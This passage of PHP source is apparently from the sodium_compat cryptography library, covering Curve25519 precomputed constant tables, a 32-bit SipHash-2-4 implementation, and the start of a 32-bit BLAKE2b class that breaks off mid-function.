                array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array<int, array<int, array<int, int>>> basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     * 37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core32_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit integers
 */
class ParagonIE_Sodium_Core32_SipHash extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int64> $v
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        $v[0] = $v[0]->addInt64($v[1]);

        # v1 = ROTL(v1, 13);
        $v[1] = $v[1]->rotateLeft(13);

        #  v1 ^= v0;
        $v[1] = $v[1]->xorInt64($v[0]);

        #  v0=ROTL(v0,32);
        $v[0] = $v[0]->rotateLeft(32);

        # v2 += v3;
        $v[2] = $v[2]->addInt64($v[3]);

        # v3=ROTL(v3,16);
        $v[3] = $v[3]->rotateLeft(16);

        #  v3 ^= v2;
        $v[3] = $v[3]->xorInt64($v[2]);

        # v0 += v3;
        $v[0] = $v[0]->addInt64($v[3]);

        # v3=ROTL(v3,21);
        $v[3] = $v[3]->rotateLeft(21);

        # v3 ^= v0;
        $v[3] = $v[3]->xorInt64($v[0]);

        # v2 += v1;
        $v[2] = $v[2]->addInt64($v[1]);

        # v1=ROTL(v1,17);
        $v[1] = $v[1]->rotateLeft(17);

        #  v1 ^= v2;
        $v[1] = $v[1]->xorInt64($v[2]);

        # v2=ROTL(v2,32)
        $v[2] = $v[2]->rotateLeft(32);

        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            new ParagonIE_Sodium_Core32_Int64(
                array(0x736f, 0x6d65, 0x7073, 0x6575)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x646f, 0x7261, 0x6e64, 0x6f6d)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x6c79, 0x6765, 0x6e65, 0x7261)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x7465, 0x6462, 0x7974, 0x6573)
            )
        );

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 0, 8)
            ),
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 8, 8)
            )
        );

        # b = ( ( u64 )inlen ) << 56;
        $b = new ParagonIE_Sodium_Core32_Int64(
            array(($inlen << 8) & 0xffff, 0, 0, 0)
        );

        # v3 ^= k1;
        $v[3] = $v[3]->xorInt64($k[1]);
        # v2 ^= k0;
        $v[2] = $v[2]->xorInt64($k[0]);
        # v1 ^= k1;
        $v[1] = $v[1]->xorInt64($k[1]);
        # v0 ^= k0;
        $v[0] = $v[0]->xorInt64($k[0]);

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($in, 0, 8)
            );

            # v3 ^= m;
            $v[3] = $v[3]->xorInt64($m);

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] = $v[0]->xorInt64($m);

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[6]) << 16
                    )
                );
            case 6:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[5]) << 8
                    )
                );
            case 5:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[4])
                    )
                );
            case 4:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[3]) << 24, 0
                    )
                );
            case 3:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[2]) << 16, 0
                    )
                );
            case 2:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[1]) << 8, 0
                    )
                );
            case 1:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[0]), 0
                    )
                );
            case 0:
                break;
        }

        # v3 ^= b;
        $v[3] = $v[3]->xorInt64($b);

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] = $v[0]->xorInt64($b);

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation
        # v2 ^= 0xff;
        $v[2]->limbs[3] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return $v[0]
            ->xorInt64($v[1])
            ->xorInt64($v[2])
            ->xorInt64($v[3])
            ->toReverseString();
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core32_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    public static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    public static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9,  4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15,  8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3, 13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1,  9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8, 11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2, 10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10,  5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 , 0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function new64($high, $low)
    {
        return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high);
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     */
    protected static function add64($x, $y)
    {
        return $x->addInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @param ParagonIE_Sodium_Core32_Int64 $z
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public static function add364($x, $y, $z)
    {
        return $x->addInt64($y)->addInt64($z);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws TypeError
     */
    public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y)
    {
        return $x->xorInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c)
    {
        return $x->rotateRight($c);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64($x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param ParagonIE_Sodium_Core32_Int64 $u
     * @return void
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u)
    {
        $v = clone $u;
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            $k = 3 - ($j >> 1);
            $x[$i] = $v->limbs[$k] & 0xff;
            if (++$i > $maxLength) {
                return;
            }
            $v->limbs[$k] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
